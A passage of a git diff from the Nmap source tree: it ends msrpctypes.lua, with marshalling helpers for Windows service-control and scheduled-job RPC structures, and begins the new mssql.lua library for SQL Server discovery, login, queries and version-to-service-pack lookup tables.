+ stdnse.debug4("MSRPC: Entering svcctl_Type_tostr()")
+
+ result = svcctl_Type_str[val]
+
+ stdnse.debug4("MSRPC: Leaving svcctl_Type_tostr()")
+ return result
+end]]--
+
+
+
+local svcctl_State =
+{
+ SERVICE_STOPPED = 0x01,
+ SERVICE_START_PENDING = 0x02,
+ SERVICE_STOP_PENDING = 0x03,
+ SERVICE_RUNNING = 0x04,
+ SERVICE_CONTINUE_PENDING = 0x05,
+ SERVICE_PAUSE_PENDING = 0x06,
+ SERVICE_PAUSED = 0x07,
+}
+
+---Marshall a <code>svcctl_State</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_svcctl_State(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_svcctl_State()")
+
+ result = marshall_Enum32(flags, svcctl_State)
+
+ stdnse.debug4("MSRPC: Leaving marshall_svcctl_State()")
+ return result
+end
+
+---Unmarshall a <code>svcctl_State</code>. This datatype is tied to the table with that name.
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, str) The new position, and the string representing the datatype.
+function unmarshall_svcctl_State(data, pos)
+ local str
+ stdnse.debug4("MSRPC: Entering unmarshall_svcctl_State()")
+
+ pos, str = unmarshall_Enum32_array(data, pos, svcctl_State)
+
+ stdnse.debug4("MSRPC: Leaving unmarshall_svcctl_State()")
+ return pos, str
+end
+
+--[[Convert a <code>svcctl_State</code> value to a string that can be shown to the user. This is
+-- based on the <code>_str</code> table.
+--
+--@param val The string value (returned by the <code>unmarshall_</code> function) to convert.
+--@return A string suitable for displaying to the user, or <code>nil</code> if it wasn't found.
+function svcctl_State_tostr(val)
+ local result
+ stdnse.debug4("MSRPC: Entering svcctl_State_tostr()")
+
+ result = svcctl_State_str[val]
+
+ stdnse.debug4("MSRPC: Leaving svcctl_State_tostr()")
+ return result
+end]]--
+
+
+---Unmarshall a SERVICE_STATUS struct, converting it to a table.
+--
+-- The structure is as follows:
+--
+-- <code>
+-- typedef struct {
+-- uint32 type;
+-- uint32 state;
+-- uint32 controls_accepted;
+-- WERROR win32_exit_code;
+-- uint32 service_exit_code;
+-- uint32 check_point;
+-- uint32 wait_hint;
+-- } SERVICE_STATUS;
+-- </code>
+--
+--@param data The data packet.
+--@param pos The position within the data.
+--@return (pos, table) The new position, and the table of values.
+function unmarshall_SERVICE_STATUS(data, pos)
+ local result = {}
+
+ pos, result['type'] = unmarshall_svcctl_Type(data, pos)
+ pos, result['state'] = unmarshall_svcctl_State(data, pos)
+ pos, result['controls_accepted'] = unmarshall_svcctl_ControlCode(data, pos)
+ pos, result['win32_exit_code'] = unmarshall_int32(data, pos)
+ pos, result['service_exit_code'] = unmarshall_int32(data, pos)
+ pos, result['check_point'] = unmarshall_int32(data, pos)
+ pos, result['wait_hint'] = unmarshall_int32(data, pos)
+
+ return pos, result
+end
+
+
+--- Unmarshalls a null-terminated Unicode string (LPTSTR datatype)
+-- @param w_str The data being processed
+-- @param startpos The current position within the data
+-- @return The new position
+-- @return The unmarshalled string
+function unmarshall_lptstr(w_str, startpos)
+
+ local _
+ local endpos = startpos
+
+ repeat
+ _, endpos = w_str:find("\0\0", endpos, true)
+ if not endpos then
+ return
+ end
+ until endpos % 2 == 0
+
+ return endpos + 1, w_str:sub(startpos, endpos)
+
+end
+
+local atsvc_DaysOfMonth =
+{
+ First = 0x00000001,
+ Second = 0x00000002,
+ Third = 0x00000004,
+ Fourth = 0x00000008,
+ Fifth = 0x00000010,
+ Sixth = 0x00000020,
+ Seventh = 0x00000040,
+ Eighth = 0x00000080,
+ Ninth = 0x00000100,
+ Tenth = 0x00000200,
+ Eleventh = 0x00000400,
+ Twelfth = 0x00000800,
+ Thirteenth = 0x00001000,
+ Fourteenth = 0x00002000,
+ Fifteenth = 0x00004000,
+ Sixteenth = 0x00008000,
+ Seventeenth = 0x00010000,
+ Eighteenth = 0x00020000,
+ Ninteenth = 0x00040000,
+ Twentieth = 0x00080000,
+ Twentyfirst = 0x00100000,
+ Twentysecond = 0x00200000,
+ Twentythird = 0x00400000,
+ Twentyfourth = 0x00800000,
+ Twentyfifth = 0x01000000,
+ Twentysixth = 0x02000000,
+ Twentyseventh = 0x04000000,
+ Twentyeighth = 0x08000000,
+ Twentyninth = 0x10000000,
+ Thirtieth = 0x20000000,
+ Thirtyfirst = 0x40000000
+}
+
+---Marshall a <code>atsvc_DaysOfMonth</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_atsvc_DaysOfMonth(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_atsvc_DaysOfMonth()")
+
+ result = marshall_Enum32(flags, atsvc_DaysOfMonth)
+
+ stdnse.debug4("MSRPC: Leaving marshall_atsvc_DaysOfMonth()")
+ return result
+end
+
+
+local atsvc_Flags =
+{
+ JOB_RUN_PERIODICALLY = 0x01,
+ JOB_EXEC_ERROR = 0x02,
+ JOB_RUNS_TODAY = 0x04,
+ JOB_ADD_CURRENT_DATE = 0x08,
+ JOB_NONINTERACTIVE = 0x10
+}
+---Marshall a <code>atsvc_Flags</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_atsvc_Flags(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_atsvc_Flags()")
+
+ result = marshall_Enum8(flags, atsvc_Flags, false)
+
+ stdnse.debug4("MSRPC: Leaving marshall_atsvc_Flags()")
+ return result
+end
+
+
+local atsvc_DaysOfWeek =
+{
+ DAYSOFWEEK_MONDAY = 0x01,
+ DAYSOFWEEK_TUESDAY = 0x02,
+ DAYSOFWEEK_WEDNESDAY = 0x04,
+ DAYSOFWEEK_THURSDAY = 0x08,
+ DAYSOFWEEK_FRIDAY = 0x10,
+ DAYSOFWEEK_SATURDAY = 0x20,
+ DAYSOFWEEK_SUNDAY = 0x40
+}
+---Marshall a <code>atsvc_DaysOfWeek</code>. This datatype is tied to the table above with that
+-- name.
+--
+--@param flags The value to marshall, as a string
+--@return The marshalled integer representing the given value, or <code>nil</code> if it wasn't
+-- found.
+function marshall_atsvc_DaysOfWeek(flags)
+ local result
+ stdnse.debug4("MSRPC: Entering marshall_atsvc_DaysOfWeek()")
+
+ result = marshall_Enum8(flags, atsvc_DaysOfWeek, false)
+
+ stdnse.debug4("MSRPC: Leaving marshall_atsvc_DaysOfWeek()")
+ return result
+end
+
+---Marshall a JobInfo struct.
+--
+--The structure is as follows:
+--
+--<code>
+-- typedef struct {
+-- uint32 job_time;
+-- atsvc_DaysOfMonth days_of_month;
+-- atsvc_DaysOfWeek days_of_week;
+-- atsvc_Flags flags;
+-- [string,charset(UTF16)] uint16 *command;
+-- } atsvc_JobInfo;
+--</code>
+--
+--@param command The command to run. This has to be just the command, no parameters; if a
+-- program requires parameters, then the best way to run it is through a batch
+-- file.
+--@param time The time at which to run the job, in milliseconds from midnight.
+function marshall_atsvc_JobInfo(command, time)
+ local result = marshall_int32(time) -- Job time
+ .. marshall_int32(0) -- Day of month
+ .. marshall_int8(0, false) -- Day of week
+ .. marshall_atsvc_Flags("JOB_NONINTERACTIVE") -- Flags
+ .. marshall_int16(0, false) -- Padding
+ .. marshall_unicode_ptr(command, true) -- Command
+
+ return result
+end
+
+
+
+
+return _ENV;
diff --git a/nselib/mssql.lua b/nselib/mssql.lua
new file mode 100644
index 0000000..e275e54
--- /dev/null
+++ b/nselib/mssql.lua
@@ -0,0 +1,3467 @@
+---
+-- MSSQL Library supporting a very limited subset of operations.
+--
+-- The library was designed and tested against Microsoft SQL Server 2005.
+-- However, it should work with versions 7.0, 2000, 2005, 2008 and 2012.
+-- Only a minimal amount of parsers have been added for tokens, column types
+-- and column data in order to support the first scripts.
+--
+-- The code has been implemented based on traffic analysis and the following
+-- documentation:
+-- * SSRP Protocol Specification: http://msdn.microsoft.com/en-us/library/cc219703.aspx
+-- * TDS Protocol Specification: http://msdn.microsoft.com/en-us/library/dd304523.aspx
+-- * TDS Protocol Documentation: http://www.freetds.org/tds.html.
+-- * The JTDS source code: http://jtds.sourceforge.net/index.html.
+--
+-- * SSRP: Class that handles communication over the SQL Server Resolution Protocol, used for identifying instances on a host.
+-- * ColumnInfo: Class containing parsers for column types which are present before the row data in all query response packets. The column information contains information relevant to the data type used to hold the data eg. precision, character sets, size etc.
+-- * ColumnData: Class containing parsers for the actual column information.
+-- * Token: Class containing parsers for tokens returned in all TDS responses. A server response may hold one or more tokens with information from the server. Each token has a type which has a number of type specific fields.
+-- * QueryPacket: Class used to hold a query and convert it to a string suitable for transmission over a socket.
+-- * LoginPacket: Class used to hold login specific data which can easily be converted to a string suitable for transmission over a socket.
+-- * PreLoginPacket: Class used to (partially) implement the TDS PreLogin packet
+-- * TDSStream: Class that handles communication over the Tabular Data Stream protocol used by SQL serve. It is used to transmit the the Query- and Login-packets to the server.
+-- * Helper: Class which facilitates the use of the library by through action oriented functions with descriptive names.
+-- * Util: A "static" class containing mostly character and type conversion functions.
+--
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+-- <code>
+-- local helper = mssql.Helper:new()
+-- status, result = helper:Connect( host, port )
+-- status, result = helper:Login( username, password, "temdpb", host.ip )
+-- status, result = helper:Query( "SELECT name FROM master..syslogins" )
+-- helper:Disconnect()
+-- </code>
+--
+-- The following sample code illustrates how scripts can use the Helper class
+-- with pre-discovered instances (e.g. by <code>ms-sql-discover</code> or <code>broadcast-ms-sql-discover</code>):
+--
+-- <code>
+-- local instance = mssql.Helper.GetDiscoveredInstances( host, port )
+-- if ( instance ) then
+-- local helper = mssql.Helper:new()
+-- status, result = helper:ConnectEx( instance )
+-- status, result = helper:LoginEx( instance )
+-- status, result = helper:Query( "SELECT name FROM master..syslogins" )
+-- helper:Disconnect()
+-- end
+-- </code>
+--
+-- Known limitations:
+-- * The library does not support SSL. The foremost reason being the awkward choice of implementation where the SSL handshake is performed within the TDS data block. By default, servers support connections over non SSL connections though.
+-- * Version 7 and ONLY version 7 of the protocol is supported. This should cover Microsoft SQL Server 7.0 and later.
+-- * TDS Responses contain one or more response tokens which are parsed based on their type. The supported tokens are listed in the <code>TokenType</code> table and their respective parsers can be found in the <code>Token</code> class. Note that some token parsers are not fully implemented and simply move the offset the right number of bytes to continue processing of the response.
+-- * The library only supports a limited subsets of datatypes and will abort execution and return an error if it detects an unsupported type. The supported data types are listed in the <code>DataTypes</code> table. In order to add additional data types a parser function has to be added to both the <code>ColumnInfo</code> and <code>ColumnData</code> class.
+-- * No functionality for languages, localization or character codepages has been considered or implemented.
+-- * The library does database authentication only. No OS authentication or use of the integrated security model is supported.
+-- * Queries using SELECT, INSERT, DELETE and EXEC of procedures have been tested while developing scripts.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @author Chris Woodbury
+--
+-- @args mssql.username The username to use to connect to SQL Server instances.
+-- This username is used by scripts taking actions that require
+-- authentication (e.g. <code>ms-sql-query</code>) This username (and its
+-- associated password) takes precedence over any credentials discovered
+-- by the <code>ms-sql-brute</code> and <code>ms-sql-empty-password</code>
+-- scripts.
+--
+-- @args mssql.password The password for <code>mssql.username</code>. If this
+-- argument is not given but <code>mssql.username</code>, a blank password
+-- is used.
+--
+-- @args mssql.instance-name In addition to instances discovered via port
+-- scanning and version detection, run scripts on
+-- these named instances (string or list of strings)
+--
+-- @args mssql.instance-port In addition to instances discovered via port
+-- scanning and version detection, run scripts on
+-- the instances running on these ports (number or list of numbers)
+--
+-- @args mssql.instance-all In addition to instances discovered via port
+-- scanning and version detection, run scripts on all
+-- discovered instances. These include named-pipe
+-- instances via SMB and those discovered via the
+-- browser service.
+--
+-- @args mssql.domain The domain against which to perform integrated
+-- authentication. When set, the scripts assume integrated authentication
+-- should be performed, rather than the default sql login.
+--
+-- @args mssql.protocol The protocol to use to connect to the instance. The
+-- protocol may be either <code>NP</code>,<code>Named Pipes</code> or
+-- <code>TCP</code>.
+--
+-- @args mssql.timeout How long to wait for SQL responses. This is a number
+-- followed by <code>ms</code> for milliseconds, <code>s</code> for
+-- seconds, <code>m</code> for minutes, or <code>h</code> for hours.
+-- Default: <code>30s</code>.
+--
+-- @args mssql.scanned-ports-only If set, the script will only connect
+-- to ports that were included in the Nmap scan. This may result in
+-- instances not being discovered, particularly if UDP port 1434 is not
+-- included. Additionally, instances that are found to be running on
+-- ports that were not scanned (e.g. if 1434/udp is in the scan and the
+-- SQL Server Browser service on that port reports an instance
+-- listening on 43210/tcp, which was not scanned) will be reported but
+-- will not be stored for use by other ms-sql-* scripts.
+
+local math = require "math"
+local match = require "match"
+local nmap = require "nmap"
+local datetime = require "datetime"
+local outlib = require "outlib"
+local smb = require "smb"
+local smbauth = require "smbauth"
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+local unicode = require "unicode"
+_ENV = stdnse.module("mssql", stdnse.seeall)
+
+-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 03/28/2010 - v0.2 - fixed incorrect token types. added 30 seconds timeout
+-- Revised 01/23/2011 - v0.3 - fixed parsing error in discovery code with patch
+-- from Chris Woodbury
+-- Revised 02/01/2011 - v0.4 - numerous changes and additions to support new
+-- functionality in ms-sql- scripts and to be more
+-- robust in parsing and handling data. (Chris Woodbury)
+-- Revised 02/19/2011 - v0.5 - numerous changes in script, library behaviour
+-- * huge improvements in version detection
+-- * added support for named pipes
+-- * added support for integrated NTLMv1 authentication
+--
+-- (Patrik Karlsson, Chris Woodbury)
+-- Revised 08/19/2012 - v0.6 - added multiple data types
+-- * added detection and handling of null values when processing query responses from the server
+-- * added DoneProc response token support
+--
+-- (Tom Sellers)
+-- Updated 10/01/2012 - v0.7 - added support for 2012 and later service packs for 2005, 2008 and 2008 R2 (Rob Nicholls)
+-- Updated 02/06/2015 - v0.8 - added support for 2014 and later service packs for older versions (Rob Nicholls)
+
+local HAVE_SSL, openssl = pcall(require, "openssl")
+
+do
+ namedpipes = smb.namedpipes
+ local arg = stdnse.get_script_args( "mssql.timeout" ) or "30s"
+
+ local timeout, err = stdnse.parse_timespec(arg)
+ if not timeout then
+ error(err)
+ end
+ MSSQL_TIMEOUT = timeout
+
+end
+
+-- Make args either a list or nil
+local function list_of (input, transform)
+ if not input then return nil end
+ if type(input) ~= "table" then
+ return {transform(input)}
+ end
+ for i, v in ipairs(input) do
+ input[i] = transform(v)
+ end
+ return input
+end
+
+local SCANNED_PORTS_ONLY = not not stdnse.get_script_args("mssql.scanned-ports-only")
+local targetInstanceNames = list_of(stdnse.get_script_args("mssql.instance-name"), string.upper)
+local targetInstancePorts = list_of(stdnse.get_script_args("mssql.instance-port"), tonumber)
+local targetAllInstances = not not stdnse.get_script_args("mssql.instance-all")
+
+-- This constant is number of seconds from 1900-01-01 to 1970-01-01
+local tds_offset_seconds = -2208988800 - datetime.utc_offset()
+
+-- *************************************
+-- Informational Classes
+-- *************************************
+
+--- SqlServerInstanceInfo class
+SqlServerInstanceInfo =
+{
+ instanceName = nil,
+ version = nil,
+ serverName = nil,
+ isClustered = nil,
+ host = nil,
+ port = nil,
+ pipeName = nil,
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Compares two SqlServerInstanceInfo objects and determines whether they
+ -- refer to the same SQL Server instance, judging by a combination of host,
+ -- port, named pipe information and instance name.
+ __eq = function( self, other )
+ local areEqual
+ if ( not (self.host and other.host) ) then
+ -- if they don't both have host information, we certainly can't say
+ -- whether they're the same
+ areEqual = false
+ else
+ areEqual = (self.host.ip == other.host.ip)
+ end
+
+ if (self.port and other.port) then
+ areEqual = areEqual and ( other.port.number == self.port.number and
+ other.port.protocol == self.port.protocol )
+ elseif (self.pipeName and other.pipeName) then
+ areEqual = areEqual and (self.pipeName == other.pipeName)
+ elseif (self.instanceName and other.instanceName) then
+ areEqual = areEqual and (self.instanceName == other.instanceName)
+ else
+ -- if we have neither port nor named pipe info nor instance names,
+ -- we can't say whether they're the same
+ areEqual = false
+ end
+
+ return areEqual
+ end,
+
+ --- Merges the data from one SqlServerInstanceInfo object into another.
+ --
+ -- Each field in the first object is populated with the data from that field
+ -- in second object if the first object's field is nil OR if
+ -- <code>overwrite</code> is set to true. A special case is made for the
+ -- <code>version</code> field, which is only overwritten in the second object
+ -- has more reliable version information. The second object is not modified.
+ Merge = function( self, other, overwrite )
+ local mergeFields = { "host", "port", "instanceName", "version", "isClustered", "pipeName" }
+ for _, fieldname in ipairs( mergeFields ) do
+ -- Add values from other only if self doesn't have a value, or if overwrite is true
+ if ( other[ fieldname ] ~= nil and (overwrite or self[ fieldname ] == nil) ) then
+ self[ fieldname ] = other[ fieldname ]
+ end
+ end
+ if (self.version and self.version.source == "SSRP" and
+ other.version and other.version.Source == "SSNetLib") then
+ self.version = other.version
+ end
+ end,
+
+ --- Returns a name for the instance, based on the available information.
+ --
+ -- This may take one of the following forms:
+ -- * HOST\INSTANCENAME
+ -- * PIPENAME
+ -- * HOST:PORT
+ GetName = function( self )
+ if (self.instanceName) then
+ return string.format( "%s\\%s", self.host.ip or self.serverName or "[nil]", self.instanceName or "[nil]" )
+ elseif (self.pipeName) then
+ return string.format( "%s", self.pipeName )
+ else
+ return string.format( "%s:%s", self.host.ip or self.serverName or "[nil]", (self.port and self.port.number) or "[nil]" )
+ end
+ end,
+
+ --- Sets whether the instance is in a cluster
+ --
+ -- @param self
+ -- @param isClustered Boolean true or the string "Yes" are interpreted as true;
+ -- all other values are interpreted as false.
+ SetIsClustered = function( self, isClustered )
+ self.isClustered = (isClustered == true) or (isClustered == "Yes")
+ end,
+
+ --- Indicates whether this instance has networking protocols enabled, such
+ -- that scripts could attempt to connect to it.
+ HasNetworkProtocols = function( self )
+ return (self.pipeName ~= nil) or (self.port and self.port.number)
+ end,
+}
+
+
+--- SqlServerVersionInfo class
+SqlServerVersionInfo =
+{
+ versionNumber = "", -- The full version string (e.g. "9.00.2047.00")
+ major = nil, -- The major version (e.g. 9)
+ minor = nil, -- The minor version (e.g. 0)
+ build = nil, -- The build number (e.g. 2047)
+ subBuild = nil, -- The sub-build number (e.g. 0)
+ productName = nil, -- The product name (e.g. "SQL Server 2005")
+ brandedVersion = nil, -- The branded version of the product (e.g. "2005")
+ servicePackLevel = nil, -- The service pack level (e.g. "SP1")
+ patched = nil, -- Whether patches have been applied since SP installation (true/false/nil)
+ source = nil, -- The source of the version info (e.g. "SSRP", "SSNetLib")
+
+ new = function(self,o)
+ o = o or {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Sets the version using a version number string.
+ --
+ -- @param versionNumber a version number string (e.g. "9.00.1399.00")
+ -- @param source a string indicating the source of the version info (e.g. "SSRP", "SSNetLib")
+ SetVersionNumber = function(self, versionNumber, source)
+ local parts = {versionNumber:match("^(%d+)%.(%d+)%.(%d+)")}
+ if not parts[1] then
+ stdnse.debug1("%s: SetVersionNumber: versionNumber is not in correct format: %s", "MSSQL", versionNumber or "nil" )
+ return
+ end
+
+ -- If it doesn't match, subBuild will be nil
+ parts[4] = versionNumber:match( "^%d+%.%d+%.%d+%.(%d+)" )
+ parts[5] = source
+
+ self:SetVersion( table.unpack(parts) )
+ end,
+
+ --- Sets the version using the individual numeric components of the version
+ -- number.
+ --
+ -- @param source a string indicating the source of the version info (e.g. "SSRP", "SSNetLib")
+ SetVersion = function(self, major, minor, build, subBuild, source)
+ self.source = source
+ -- make sure our version numbers all end up as valid numbers
+ self.major, self.minor, self.build, self.subBuild =
+ tonumber( major or 0 ), tonumber( minor or 0 ), tonumber( build or 0 ), tonumber( subBuild or 0 )
+
+ self.versionNumber = string.format( "%u.%02u.%u.%02u", self.major, self.minor, self.build, self.subBuild )
+
+ self:_ParseVersionInfo()
+ end,
+
+ --- Using the version number, determines the product version
+ _InferProductVersion = function(self)
+
+ local VERSION_LOOKUP_TABLE = {
+ ["^6%.0"] = "6.0", ["^6%.5"] = "6.5", ["^7%.0"] = "7.0",
+ ["^8%.0"] = "2000", ["^9%.0"] = "2005", ["^10%.0"] = "2008",
+ ["^10%.50"] = "2008 R2", ["^11%.0"] = "2012", ["^12%.0"] = "2014",
+ ["^13%.0"] = "2016", ["^14%.0"] = "2017", ["^15%.0"] = "2019",
+ ["^16%.0"] = "2022",
+ }
+
+ local product = ""
+
+ for m, v in pairs(VERSION_LOOKUP_TABLE) do
+ if ( self.versionNumber:match(m) ) then
+ product = v
+ self.brandedVersion = product
+ break
+ end
+ end
+
+ self.productName = ("Microsoft SQL Server %s"):format(product)
+
+ end,
+
+
+ --- Returns a lookup table that maps revision numbers to service pack and
+ -- cumulative update levels for the applicable SQL Server version,
+ -- e.g., {{1913, "RC1"}, {2100, "RTM"}, {2316, "RTMCU1"}, ...,
+ -- {3000, "SP1"}, {3321, "SP1CU1"}, ..., {3368, "SP1CU4"}, ...}
+ _GetSpLookupTable = function(self)
+
+ -- Service pack lookup tables:
+ -- For instances where a revised service pack was released, e.g. 2000 SP3a,
+ -- we will include the build number for the original SP and the build number
+ -- for the revision. However, leaving it like this would make it appear that
+ -- subsequent builds were a patched version of the revision, e.g., a patch
+ -- applied to 2000 SP3 that increased the build number to 780 would get
+ -- displayed as "SP3a+", when it was actually SP3+. To avoid this, we will
+ -- include an additional fake build number that combines the two.
+ -- Source: https://sqlserverbuilds.blogspot.com/
+ local SP_LOOKUP_TABLE = {
+ ["6.5"] = {
+ {201, "RTM"},
+ {213, "SP1"},
+ {240, "SP2"},
+ {258, "SP3"},
+ {281, "SP4"},
+ {415, "SP5"},
+ {416, "SP5a"},
+ {417, "SP5/SP5a"},
+ },
+
+ ["7.0"] = {
+ {623, "RTM"},
+ {699, "SP1"},
+ {842, "SP2"},
+ {961, "SP3"},
+ {1063, "SP4"},
+ },
+
+ ["2000"] = {
+ {194, "RTM"},
+ {384, "SP1"},
+ {532, "SP2"},
+ {534, "SP2"},
+ {760, "SP3"},
+ {766, "SP3a"},
+ {767, "SP3/SP3a"},
+ {2039, "SP4"},
+ },
+
+ ["2005"] = {
+ {1399, "RTM"},
+ {2047, "SP1"},
+ {3042, "SP2"},
+ {4035, "SP3"},
+ {5000, "SP4"},
+ },
+
+ ["2008"] = {
+ {1600, "RTM"},
+ {2531, "SP1"},
+ {4000, "SP2"},
+ {5500, "SP3"},
+ {6000, "SP4"},
+ },
+
+ ["2008 R2"] = {
+ {1600, "RTM"},
+ {2500, "SP1"},
+ {4000, "SP2"},
+ {6000, "SP3"},
+ },
+
+ ["2012"] = {
+ {1103, "CTP1"},
+ {1440, "CTP3"},
+ {1750, "RC0"},
+ {1913, "RC1"},
+ {2100, "RTM"},
+ {2316, "RTMCU1"},
+ {2325, "RTMCU2"},
+ {2332, "RTMCU3"},
+ {2383, "RTMCU4"},
+ {2395, "RTMCU5"},
+ {2401, "RTMCU6"},
+ {2405, "RTMCU7"},
+ {2410, "RTMCU8"},
+ {2419, "RTMCU9"},
+ {2420, "RTMCU10"},
+ {2424, "RTMCU11"},
+ {3000, "SP1"},
+ {3321, "SP1CU1"},
+ {3339, "SP1CU2"},
+ {3349, "SP1CU3"},
+ {3368, "SP1CU4"},
+ {3373, "SP1CU5"},
+ {3381, "SP1CU6"},
+ {3393, "SP1CU7"},
+ {3401, "SP1CU8"},
+ {3412, "SP1CU9"},
+ {3431, "SP1CU10"},
+ {3449, "SP1CU11"},
+ {3470, "SP1CU12"},
+ {3482, "SP1CU13"},
+ {3486, "SP1CU14"},
+ {3487, "SP1CU15"},
+ {3492, "SP1CU16"},
+ {5058, "SP2"},
+ {5532, "SP2CU1"},
+ {5548, "SP2CU2"},
+ {5556, "SP2CU3"},
+ {5569, "SP2CU4"},
+ {5582, "SP2CU5"},
+ {5592, "SP2CU6"},
+ {5623, "SP2CU7"},
+ {5634, "SP2CU8"},
+ {5641, "SP2CU9"},
+ {5644, "SP2CU10"},
+ {5646, "SP2CU11"},
+ {5649, "SP2CU12"},
+ {5655, "SP2CU13"},
+ {5657, "SP2CU14"},
+ {5676, "SP2CU15"},
+ {5678, "SP2CU16"},
+ {6020, "SP3"},
+ {6518, "SP3CU1"},
+ {6523, "SP3CU2"},
+ {6537, "SP3CU3"},
+ {6540, "SP3CU4"},
+ {6544, "SP3CU5"},
+ {6567, "SP3CU6"},
+ {6579, "SP3CU7"},
+ {6594, "SP3CU8"},
+ {6598, "SP3CU9"},
+ {6607, "SP3CU10"},
+ {7001, "SP4"},
+ },
+
+ ["2014"] = {
+ {1524, "CTP2"},
+ {2000, "RTM"},
+ {2342, "RTMCU1"},
+ {2370, "RTMCU2"},
+ {2402, "RTMCU3"},
+ {2430, "RTMCU4"},
+ {2456, "RTMCU5"},
+ {2480, "RTMCU6"},
+ {2495, "RTMCU7"},
+ {2546, "RTMCU8"},
+ {2553, "RTMCU9"},
+ {2556, "RTMCU10"},
+ {2560, "RTMCU11"},
+ {2564, "RTMCU12"},
+ {2568, "RTMCU13"},
+ {2569, "RTMCU14"},
+ {4100, "SP1"},
+ {4416, "SP1CU1"},
+ {4422, "SP1CU2"},
+ {4427, "SP1CU3"},
+ {4436, "SP1CU4"},
+ {4439, "SP1CU5"},
+ {4449, "SP1CU6"},
+ {4459, "SP1CU7"},
+ {4468, "SP1CU8"},
+ {4474, "SP1CU9"},
+ {4491, "SP1CU10"},
+ {4502, "SP1CU11"},
+ {4511, "SP1CU12"},
+ {4522, "SP1CU13"},
+ {5000, "SP2"},
+ {5511, "SP2CU1"},
+ {5522, "SP2CU2"},
+ {5538, "SP2CU3"},
+ {5540, "SP2CU4"},
+ {5546, "SP2CU5"},
+ {5553, "SP2CU6"},
+ {5556, "SP2CU7"},
+ {5557, "SP2CU8"},
+ {5563, "SP2CU9"},
+ {5571, "SP2CU10"},
+ {5579, "SP2CU11"},
+ {5589, "SP2CU12"},
+ {5590, "SP2CU13"},
+ {5600, "SP2CU14"},
+ {5605, "SP2CU15"},
+ {5626, "SP2CU16"},
+ {5632, "SP2CU17"},
+ {5687, "SP2CU18"},
+ {6024, "SP3"},
+ {6205, "SP3CU1"},
+ {6214, "SP3CU2"},
+ {6259, "SP3CU3"},
+ {6329, "SP3CU4"},
+ },
+
+ ["2016"] = {
+ { 200, "CTP2"},
+ { 300, "CTP2.1"},
+ { 407, "CTP2.2"},
+ { 500, "CTP2.3"},
+ { 600, "CTP2.4"},
+ { 700, "CTP3.0"},
+ { 800, "CTP3.1"},
+ { 900, "CTP3.2"},
+ {1000, "CTP3.3"},
+ {1100, "RC0"},
+ {1200, "RC1"},
+ {1300, "RC2"},
+ {1400, "RC3"},
+ {1601, "RTM"},
+ {2149, "RTMCU1"},
+ {2164, "RTMCU2"},
+ {2186, "RTMCU3"},
+ {2193, "RTMCU4"},
+ {2197, "RTMCU5"},
+ {2204, "RTMCU6"},
+ {2210, "RTMCU7"},
+ {2213, "RTMCU8"},
+ {2216, "RTMCU9"},
+ {4001, "SP1"},
+ {4411, "SP1CU1"},
+ {4422, "SP1CU2"},
+ {4435, "SP1CU3"},
+ {4446, "SP1CU4"},
+ {4451, "SP1CU5"},
+ {4457, "SP1CU6"},
+ {4466, "SP1CU7"},
+ {4474, "SP1CU8"},
+ {4502, "SP1CU9"},
+ {4514, "SP1CU10"},
+ {4528, "SP1CU11"},
+ {4541, "SP1CU12"},
+ {4550, "SP1CU13"},
+ {4560, "SP1CU14"},
+ {4574, "SP1CU15"},
+ {5026, "SP2"},
+ {5149, "SP2CU1"},
+ {5153, "SP2CU2"},
+ {5216, "SP2CU3"},
+ {5233, "SP2CU4"},
+ {5264, "SP2CU5"},
+ {5292, "SP2CU6"},
+ {5337, "SP2CU7"},
+ {5426, "SP2CU8"},
+ {5479, "SP2CU9"},
+ {5492, "SP2CU10"},
+ {5598, "SP2CU11"},
+ {5698, "SP2CU12"},
+ {5820, "SP2CU13"},
+ {5830, "SP2CU14"},
+ {5850, "SP2CU15"},
+ {5882, "SP2CU16"},
+ {5888, "SP2CU17"},
+ {6300, "SP3"},
+ },
+
+ ["2017"] = {
+ { 1, "CTP1"},
+ { 100, "CTP1.1"},
+ { 200, "CTP1.2"},
+ { 304, "CTP1.3"},
+ { 405, "CTP1.4"},
+ { 500, "CTP2.0"},
+ { 600, "CTP2.1"},
+ { 800, "RC1"},
+ { 900, "RC2"},
+ {1000, "RTM"},
+ {3006, "CU1"},
+ {3008, "CU2"},
+ {3015, "CU3"},
+ {3022, "CU4"},
+ {3023, "CU5"},
+ {3025, "CU6"},
+ {3026, "CU7"},
+ {3029, "CU8"},
+ {3030, "CU9"},
+ {3037, "CU10"},
+ {3038, "CU11"},
+ {3045, "CU12"},
+ {3048, "CU13"},
+ {3076, "CU14"},
+ {3162, "CU15"},
+ {3223, "CU16"},
+ {3238, "CU17"},
+ {3257, "CU18"},
+ {3281, "CU19"},
+ {3294, "CU20"},
+ {3335, "CU21"},
+ {3356, "CU22"},
+ {3381, "CU23"},
+ {3391, "CU24"},
+ {3401, "CU25"},
+ {3411, "CU26"},
+ {3421, "CU27"},
+ {3430, "CU28"},
+ {3436, "CU29"},
+ {3451, "CU30"},
+ },
+
+ ["2019"] = {
+ {1000, "CTP2.0"},
+ {1100, "CTP2.1"},
+ {1200, "CTP2.2"},
+ {1300, "CTP2.3"},
+ {1400, "CTP2.4"},
+ {1500, "CTP2.5"},
+ {1600, "CTP3.0"},
+ {1700, "CTP3.1"},
